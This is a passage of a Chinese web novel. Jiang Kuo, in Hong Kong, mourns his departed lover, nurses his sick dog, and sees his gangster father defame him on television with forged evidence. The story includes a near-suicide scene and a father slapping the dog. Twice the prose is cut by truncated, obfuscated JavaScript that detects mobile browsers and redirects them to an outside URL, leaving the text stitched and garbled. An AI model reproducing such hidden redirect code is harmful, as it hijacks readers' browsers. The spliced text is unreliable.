江扩紧紧缩在床边一言不发。 黎念居然跟那个人一块走了,头也不回。 “我要回家。”江扩咬着牙使劲儿憋出几个字。 “明天就回,”江收说,“你得禁足一个月,出不了门。” 江扩没反应。 “这段时间我就帮下手,替你买餸做饭。”江收说。 “黎念呢,你帮我去找黎念。”江扩撑着一只手坐起来,“他不能就这样被人骗了。” “你会帮他找吗?”江收左耳的耳机幽幽传来一个中年男人的声音,“敢帮他找吗?你知道该怎么做。” 江收头皮一阵发麻。 “好,我帮你找。”江收回答。 江扩面如死灰的脸终于有了些许起色。 然而没过多久,当江扩拿起手机查看whatsapp时发现黎念把他移出好友时,江扩面色又恢复往常的惨白。 隔天,江扩在江收的帮助下,办了出院手续后回了租屋。 这件租屋是黎念失忆后才搬过来的,又窄又闷,几乎可以和以前大哥荣的老巢有的一拼。 但这屋还残留黎念的特殊气息,以及两人种种冤家路窄的打打闹闹。 黎念一只破了一个洞的白袜子,还垂在旧沙发的靠背上;黎念烧毁的恋爱不平等合同,此刻还装在一个透明文件袋里,孤零零地呆在电视柜上;几件黎念洗完晾干的美式无袖,还在窗外那根狭窄的铁杆上随风轻轻飘晃。 这一切似乎都成了狠狠鞭笞江扩的刑具。 一如既往的只有,小白狗大福还在笼里委屈巴巴地望着他。 “大福,对不起。”江扩蹲下来,“饿了没?给你整点吃的。” “吃了,昨天给她喂的,”江收将钥匙搁在饭桌上,“我走了,律师所一堆事处理。菜在冰箱里,需要call我。” 江收走后,江扩还是不放心,倒了一小碗冻干狗粮给大福。 大福狼吞虎咽吃了起来,跟饿了一周似的。 天色渐晚,唐楼外面的霓虹灯一盏接着一盏点亮,红光如警告灯般倒映在江扩脸上闪烁。整间屋没开灯,昏暗的小破出租屋只有江扩沉重的呼吸声和大福的嘤嘤声。 江扩忽然觉着浑身乏力,铺天盖地的孤独感席卷而来。 “大福,你先吃,我去休息。”江扩说罢,起身拖着软绵无力的双腿走向沙发,一屁股瘫坐下去。 大福看都没看,继续吃着碗里的。 江扩靠在旁边扶手闭了眼,似乎在小憩,外眼角却流淌出两行泪水,滑向耳廓。 外面有路人呼唤taxi的声音,叮叮车到站的声音,有饭馆香喷喷的味道透过窗户渗进江扩鼻孔。 江扩胃口尽失,也没有起身的意思。 直到半个钟以后,不知在屋内哪处传来狗的呜咽和剧烈的呕吐声,江扩才蒙猛然惊醒,摸黑开了灯。 大福面前一滩尚未完全消化的呕吐物,它把刚吃下的狗粮原封不动地呕出来了。 大福的呕吐物黏糊糊地瘫在那里,泛着不健康的深棕颜色。大福嘴边还挂着点唾液,怯生生地抬起头,又湿漉漉又充满困惑的双眼望着江扩。 “是不是吃坏东西了?啊?”江扩猛地蹲下,抱起大福轻声安慰,“没事的没事的,我不生气,不生气。” 大福安静片刻,身体又抖了几下,紧接着又呕了东西在江扩身上。 这次的呕吐物偏液体,白色的泡沫间又带着血丝。 江扩垂眸盯着那些血丝,额头逐渐冒冷汗。连指尖都开始冰凉甚至微微颤抖。 是吃坏东西了?还是肠胃不舒服,还是......什么更严重的疾病? 会死吗? 江扩不敢再细想,颤着手从裤兜掏出仅剩百分之十电量的手机。密码是黎念生日,他本来已经熟稔,手指却一直不听使唤输错好几次解锁密码。 好不容易才打开,大福已经恢复活力,从江扩大腿跳下来到处逛,时不时过去闻那滩自己呕出的污糟。 现在只有江收能帮忙了。江扩毫不犹豫按了江收的电话号码。 “喂,哥,怎么了?”江收坐在律师所的办公桌旁,一只手捏着黑色耳机,“这才多久呢?怎么,想他了?” “它吐了。”江扩憋着哽咽。 “谁吐了?”江收皱眉。 “大福吐了。”江扩吞了一口唾沫,“我需要带他去看医生。” “你出不了门。”江收说。 “我知道。”江扩说完沉默了。 许久,江收叹息一声,“我知道了,想让我带它去看病是吧?等我整理好这些东西就过去。” “尽快。”江扩挂了电话,打开手机相机正面给大福的呕吐物拍了几张高清图,才开了灯清理。 大福似乎还在害怕主人会骂它弄脏地板,小小只的躲进沙发下小声呜咽。 “呜呜呜...汪!”大福委屈巴巴叫道。 “别怕,别怕。”江扩抱起大福,在冰凉的地板席地而坐。 大福乖乖的躺着不动,任由江扩一遍又一遍轻轻抚摸大福温热的小毛耳朵,湿润的鼻子偶尔蹭一蹭江扩的手。 “求你了,你可千万别出事。”江扩轻声说。 不知坐了多久,大福都睡着了,睡梦中一只小爪子时不时踢一下。 抬头的时候,江扩发现挂钟坏了,时间停在八点廿七分。 手机不在旁边,也不知道现在几点了。窗外的喧闹逐渐疏散,最后一趟叮叮车的到站提示消失后,江扩才大概猜的出是晚上十二点左右。 江收还没来。 窗户外面滴滴答答,貌似下雨了。雨点单调地敲打窗檐。 窗外还晾着黎念几件衣服,江扩只好放大福在沙发上睡,自己来窗边收衣服。 踮起脚尖去够窗外铁杆的衣裤时,江扩下意识低头望着楼下的空地。 这时没什么人啊,连江收的影子都找不到。估计是被放鸽子了。 自己怎么这么惨啊。 江扩收回黎念的衣裤,再一次往楼下俯瞰。 他本不该踏足这片寸土寸金的土地,也本不会认识这个他深爱又折磨他的人。一切都是江广荣的错。 如果当年他没被抓来香港,估计现在就是个在潮汕厂里打工,深夜会和一群好哥们相约出去吃炒粿条的土小伙。平凡又开心。 根本不会出这么多岔子。 如果结束这一切,会不会回到来香港之前? 江扩脑子一热,双手撑到窗沿上,正准备坐上去。 正准备拥抱最后的自由,身后传来一声短促而响亮的声音—— “呼噜,呼噜...” 江扩猝然睁开双眼。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722053|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 紧接着,又是一串模糊的,带着咂吧嘴声的梦呓:“汪汪...咂咂咂,呜。” 这把声像是一颗小石头,噗一声投入万籁俱寂的死水潭,蛮横地荡开阵阵涟漪。 大福在做梦,尾巴轻轻拍打着地板。 江扩松开手,将剩下衣服收回来,关上窗。 江广荣跟上上上章一样,没事就靠沙发上抽点雪茄。帕金森越来越重也影响不了他夹烟。 门外传来江收的敲门声。 “老豆。”江收喊。 江广荣示意几个跟屁虫去开门,顺便把快抽完的雪茄掐了。 “爸,你叫我来干嘛。”江收一敞开门就问。 “你待会去江扩家是不是?”江广荣咳了几声说。 “嗯,”江收说,“他的狗病了。” “带它去宠物医院?”江广荣问。 “嗯,应该没啥事。”江收回答。 “带它到我这来吧,”江广荣说,“你当律师挺忙的,还要照顾一只狗,没必要,我带它去。” “啊?”江收干笑。 “不相信我?”江广荣笑了笑,“我还是喜欢小动物的。” “但愿如此。”江收哼了一声。 “你会帮他找黎念吗?”江广荣淡淡问。 “不会。”江收用高跟鞋踢了踢旁边的凳子。 “为什么?” “这不就是你想要的吗?”江收说,“您老人家这么串的官威,我哪敢去找?” 几个手下听罢,不约而同地朝江收围过去。 “干什么?干什么干什么?反了?!”江广荣啐了一口吼道,“她是我女儿,谁敢动她?” 江收像是听到什么有趣的事情,冷笑一声摔门而出。 狗屁女儿。 “记得把狗带来。”江广荣的声音从江收耳机里传来。 江收没回答,伸手拦了辆的士。 大福睡醒后又吐了点黄水,江扩收拾完呕吐物带着大福回床上睡觉。 一整天没吃饭,只觉得没力气,却不觉得饿。 半个小时后江扩毫无睡意,倒是大福趴在他一起一伏的肚子上睡着了。 正当江扩在感慨又要一夜无眠之际,门铃响了。 大福惊醒,朝着门口龇牙咧嘴,欲吠未吠。 “嘘。”江扩摸了摸大福的头,跳下床。 是不是黎念想通回来了? “哥,是我。”江收又敲了敲门。 江扩拖着疲惫的身体走过去开门。 “怎么这么晚。”江扩问。 “它吐了几次?”江收没有回答。 “三次。”江扩转身把大福抱出来,“精神还算可以。” “我先抱走走,明天带它去医院检查。”江收说。 江扩放心把狗交给江收,一人一狗走后,又靠在床上发愣。 黎念的枕头还好好的摆在旁边,就像他没有离开过。 江扩往那边的空位置挪了点,一只手抓过黎念的枕头抱着。枕头上还有黎念留下的洗发水香味。 这香味跟稳定剂似的,江扩闻着这香味竟然困了。 江收此刻像条听话的好狗,带着大福到了江广荣老巢。 大福见那房子黑蒙蒙一片,在江收怀里挣扎着要往下跳,却被江收按住。 “大福,嘘,”江收说,“听话点,带你来治病的。” 大福把头埋在江收胳肢窝里,呜咽声带着恐惧。 74. 第 74 章 当江收把狗放在江广荣面前时,大福还在瑟瑟发抖。 “乖狗,”江广荣叼着雪茄慢悠悠凑过去,伸出一只手摸了摸大福的头,“叫咩名啊?” “大福。”江收面无表情,随时准备在江广荣伤害大福的前一秒抢走。 江广荣嘴角抽搐,“怎么不叫黎念?” 江收干笑几声。 “你以为我想对一只没什么用处的狗动什么手脚?”江广荣吐出一口烟,“我还是有原则的,没你想的那么污糟。小动物,我还是很喜欢的。” 江收心想你踏马那么有原则那之前害过的性命算什么。 “小时候我还在老家,也不知道什么是金钱,什么是黑和白,就住在村里一排老厝下,”江广荣从兜里掏出一堆冻干,“就跟你哥以前一样。那时候家里养了条母狗,小时候也挺可爱,长大了出去跟村里其他狗搞搞震,居然生了好几胎狗崽。” 江收没作声。 “每只狗崽我都很喜欢,但是总眼睁睁看着他们被你爷爷奶奶送人,最后一只好不容易求他们留下来,”江广荣摇摇头,“却被隔壁巷的疯老头拿石头扔死了。” “记得明天带大福去宠物医院检查。”江收下意识屏蔽自己的耳朵,压根听不明白江广荣在说什么。只想赶紧离开。 晚上江扩没了狗更睡不着觉,总是穿着邋遢不堪的睡衣,叼着根万宝路坐在窗边看街头的霓虹灯,睡衣上的纽扣扣错了好几个。 江广荣没啥养狗经验,晚上就随便找了个纸箱,往里边铺点旧衣服当大福的狗窝。 大福睡之前还特地过来看几眼,确保狗子没问题。 说实话,这条狗他真没动过什么坏心思。 隔天江广荣把公司事务放到一边,交易也延后了,就为了带狗做个来检查。 “先生你好,需要我们做些什么?”宠物店店员过来的时候,江广荣还有些不知所措。 “看病,狗昨天吐了。”江广荣说。 “有无呕吐物的相片呢。”店员笑眯眯问道。 这花衬衫老头脸上杀气腾腾,不笑笑怕被宰了。 “稍等,我问一下。”江广荣拿起手机问江收。 ——把狗的呕吐物发给我。 ——我没有。我去找哥拿。 江广荣放下手机,在大厅等了一会。大福趴在胳膊上睡着了,还挺可爱。 过了一会,江收来信息。 ——【图片】(无法查看) ——发来了。 江广荣看了那滩呕吐物一眼,很恶心。又看了看睡着的狗。 这狗长的这么可爱,居然能吐出这么恶心的东西。恶心至极。 他突然对这只狗有点嫌弃。 大福似乎憋了很久的尿,终于忍不住了,干脆直接在江广荣身上尿了一摊。 江广荣发现湿漉漉的时候,已经晚了。 “死狗!”江广荣暴怒,猛地一扇手把大福扇在地上。 大福从地上爬起来,痛苦的哀嚎着。 “诶诶诶,干什么呢?”店员匆匆跑过来,抱起大福。 “先生,有话好好说,何必对一只伴侣犬动粗呢?”店员说。 “赶紧给他看病,我赶时间。”江广荣捂住外套上的尿渍,不耐烦道。 一系列抽血,排泄物化验过后,大福并没有什么事。只是肠胃不太好。 “屌你老母,害我花这么多冤枉钱。”江广荣骂骂咧咧拿出几张cash,提着狗出了宠物医院的大门。 外套又该洗了,这狗真是麻烦。 江广荣提着大福到以前经常去的洗衣店,花了点小钱把外套洗了。 等待的途中,大福挣扎着想要下来。江广荣没办法,只好带狗到公园放下来溜一圈。 隔壁长椅上有个妇人,身边跟着的泰迪脸上糊满鼻涕像条鼻涕虫,时不时咳几下。 大福看见鼻涕虫,兴奋得往那边挪了挪,江广荣手上拿着的狗绳紧了。 “去去去。”江广荣干脆扔了绳子,任由大福去找那只鼻涕虫,两只小玩意在草坪上追逐玩闹。 到了时间,江广荣拉回狗绳,带狗拿衣服回了老巢。 江收到时间来接狗。 “医生怎么说?”江收抱起大福问。 “屁事没有,就肠胃不好,”江广荣板着脸点了根雪茄,“这点屁事就看医生?一只狗而已花这点冤枉钱干什么?” 江收朝空气白了一眼。也不知这老嘢(老东西)吃了什么火药。 “还有,让你哥赶紧把狗卖了吧,”江广荣狠狠吹出一口烟,“养这玩意有什么撚用?” “你说他同不同意?”江收说。 “你说什么?”江广荣问。 “你踏马说他同不同意?!” “反了?!”江广荣啐了一口,“信不信我现在就告诉全香港,大名鼎鼎的江律师在背后做的什么龌蹉事?信不信我现在就说!” “说!你踏马快说!”江收头顶冒火了,“老子坐十几年监狱也好过让你当条狗使!” 江广荣气得半晌憋不出一句话。 大福吓得浑身发抖,整个毛茸茸的头埋在江收胳肢窝。 江收揉了揉大福的狗头,转身离开这个破老巢。 江扩整天呆在家等大福的消息,一个人快闷死了。 想起好久没看电视了,便蜷缩在沙发上拿遥控器开了电视。 TVB最近又上新剧了,都是些公司上班friend聚会家人聊天,没有一点新意。 江扩摇摇头,切了新闻台。 香港地区一些街坊采访,菜市场癫佬砍人,**分子被捕近日出庭,老阿姨为了争最后一斤菜出手打架。 这个台尽播些让人觉得这个世界全完蛋了的新闻,就跟还嫌香港轻生的人少似的。 江扩从鼻里窜出一声不耐烦的叹息,又切了台。 电视里面的老嘢让江扩拳头一紧。 大哥荣不知道什么时候找上《东张西望》节目组,身后一群律师团队。有个女律师躲在几个陌生人后面,披头散发心虚得不敢看录影机。但江扩认识江收这么久,就算不露脸也一眼认出是她。 江扩一声冷笑。 江广荣对着镜头发愣,几秒后老泪纵横。 “我以前行错路,学人当古惑仔,现在我改邪归正开始开正规公司,还想请我的儿子帮忙,”江广荣顿了顿,眼泪流的更厉害了,“没想到我个儿子江扩,被个北方仔带坏,当同性恋,天天写淫词艳曲,教坏细路!” 接着江广荣从旁边律师文件袋拿出几张证明,上面的字让江扩呼吸急促头皮发麻。 伪造的聊天记录,江扩“收受黑钱”的PS图片。 主持人啧了几声,接着用猎奇的语气公然谈论词人江扩的性取向,指着那些伪证痛心疾首称之为“填词界的悲哀”。 “我真操了!”江扩抓起遥控冲电视抡过去,屏幕凹了一块。 “我的仔啊,一直都很优秀,如果没有那个北方仔诱骗,他根本不会成今天这副样子,被警署禁足,还被当成神经病。”江广荣用花衬衫的袖口抹眼泪。 江收听罢,往人群躲得更远了。 “那江先生参加我们这个节目,主要是想?”主持人用怜悯的目光看着大哥荣。 “我只想让他好好回归自己的生活,同性恋不同性恋唔紧要,最紧要的是能跟我一起经营公司,父子一起进步一起好好赚钱。”江广荣唉声叹气。 电视节目早就结束换了一个,江扩以一个姿势坐在沙发上,浑身跟木僵一样一动不动。胸口像有块大岩石压着。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722054|189407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >有几个瞬间江扩甚至忘了呼吸。 他死了。几乎说可以是彻底社会性死亡了。 这就是大哥荣打的算盘吗?让他走向跟他爸一样的黑暗? “哥。”江收开了门,抱着大福站在门外。 江扩没有回应,跟真的死了一样,眼睛都不眨一下。 “哥!大福回来了。”江收看了一眼凹陷的电视屏幕,大概猜的出江扩看到什么。 江扩还是一动不动。 “别人的父亲,从小教孩子怎么走正道,怎么当一个好人,教人穷不要紧,最重要的是要有骨气,而我爸呢?江广荣呢?”江扩突然间暴怒,捡起一个塞满烟头的厚玻璃烟灰缸往电视抡过去,节目瞬间黑屏,“你他妈居然教我做贼!爹居然教儿子做贼!” 江收尖叫一声,放下大福过来按住江扩,生怕江扩再做什么极端行为。 “放开我!”江扩啐了一口,“你也不是什么好货!别以为你躲在后面我就看不到你!滚!都给我滚!” “哥,冷静,冷静。”江收说。 “我怎么冷静?你让我怎么冷静?”江扩挣扎间突然开始吭哧吭哧嗤笑,“我死了你知道吗?他弄死我了你知道吗?全香港都知道了我还不如去死哈哈哈哈...” “想想黎念,黎念快找到了呢。”江收胡言道。 江扩恢复一点理智。 “他在哪?”江扩问。 “有消息了,快找到了,”江收继续胡言,“说不定他恢复记忆了,你俩能一块离开香港,这地方也没见得多好,是吧。” “嗯。”江扩说。 “你之前不是说,想离开香港吗?不是说想回潮汕吗?”江收继续安慰,“说不定等黎念好了,这就是个很好的机会呢。” “嗯。”江扩哽咽。 江收见江扩没再挣扎,便松了手。 “我讨厌江广荣,也讨厌你,”江扩盯着江收,“你总是让人捉摸不透,我根本不知道你是黑是白。但是你帮了我很多,我也没法恨你。” 江收勉强应付一个笑容。 江收走后,江扩把砸烂的电视电线拔掉,陪大福玩了一会。大福吃了点益生菌,今天好像也没吐了。 大便也正常。 江扩实在想不出来要干些什么,坐到书桌旁下意识捡起一支水笔。 不如写会歌词好了,说不定公司那边有新人歌手,正缺歌词呢。 钟坏了,也不知道过了多久,稿纸上的字迹乱成一团乌云。 江扩越写越恼火,握笔的力度几乎能把一个人的脖子拧断。别说一个词,连个像样的粤语谐音都抠不出来。 真操了。 他烦躁地扯下稿纸,揉成一团扔进纸篓。 新的一页空白稿纸出现在面前。烦躁如同附骨之蛆,江扩戳了戳笔尖,竟然不受控制地落下俩字——黎念。 俩字清秀隽永,根本不像是江扩的字迹。然而江扩貌似写上瘾了,某种压抑到极致的情绪轰然决堤。 写,继续写!黎念,黎念,黎念,黎念,黎念,黎念,黎念,黎念,黎念,黎念,黎念,黎念!!!!!!!!!!!!! 字迹从清秀到潦草,再到狂乱不羁,铺满了整张纸。 混乱的思绪逐渐清晰,满脑子全是那个白眼狼的音容笑貌,那个白眼狼转身抛弃他的决绝,拥抱时的温热,枕头上的洗发水香味。 当笔尖重重顿在最后一个字的收笔处,墨迹晕开像极了一颗丑陋的心脏。 江扩看着满纸的黎念,扯了扯嘴角想笑,喉咙却只有破风箱似的嗬嗬嗬,嗬嗬嗬。 “去他妈的黎念!”江扩痛骂一声,用尽全身力气把水笔掼了出去。 笔断成两截,残骸和墨汁一块儿溅开。 “黎念啊!!!!!!!!!!!”